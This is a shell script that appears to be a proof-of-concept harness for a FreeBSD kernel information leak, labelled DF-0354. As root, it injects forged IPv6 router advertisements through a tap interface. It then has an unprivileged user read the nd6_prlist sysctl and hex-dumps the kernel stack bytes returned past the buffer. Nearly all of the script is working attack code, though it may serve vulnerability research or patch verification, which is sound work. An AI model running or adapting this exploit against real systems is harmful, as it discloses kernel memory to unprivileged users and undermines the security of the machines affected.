#!/bin/sh
# DF-0354 run: populate kernel state (root) then read the sysctl as
# unprivileged maxx and dump the leaked bytes.
# Requires: guest is up on the default GENERIC kernel (#0 unpatched).
set -e
cd "$(dirname "$0")"

echo "== setting up the 'remote RA flood' simulation (root) =="
[ -c /dev/tap ] || kldload if_tap 2>/dev/null || true
ifconfig tap0 create 2>/dev/null || true
ifconfig tap0 up
ndp -i tap0 accept_rtadv 2>&1 | tail -1
sysctl net.inet6.ip6.forwarding=0 >/dev/null 2>&1 || true
sysctl net.inet6.ip6.accept_rtadv=1 >/dev/null 2>&1 || true

echo "== injecting 60 forged RAs (60 sources, 1 common prefix) =="
./ra_inject_tap /dev/tap0 60 2>&1 | tail -2
sleep 1

echo "== unprivileged sysctl read (maxx) =="
cp ra_read /tmp/ra_read
chmod 755 /tmp/ra_read
su -m maxx -c '/tmp/ra_read net.inet6.icmp6.nd6_prlist /tmp/leak.bin' || true
echo "== result =="
if [ -f /tmp/leak.bin ]; then
    sz=$(stat -f%z /tmp/leak.bin)
    echo "total bytes returned: $sz"
    if [ "$sz" -gt 1024 ]; then
        nz=$(dd if=/tmp/leak.bin bs=1 skip=1024 2>/dev/null | od -An -tx1 | tr ' ' '\n' | grep -v '^$' | grep -vc '^00$')
        echo "LEAK: $((sz - 1024)) bytes past stack buffer, $nz non-zero"
        echo "--- first 64 bytes past offset 1024 ---"
        dd if=/tmp/leak.bin bs=1 skip=1024 count=64 2>/dev/null | od -An -tx1
    else
        echo "NO LEAK: only $sz bytes returned (fix may be applied)"
    fi
fi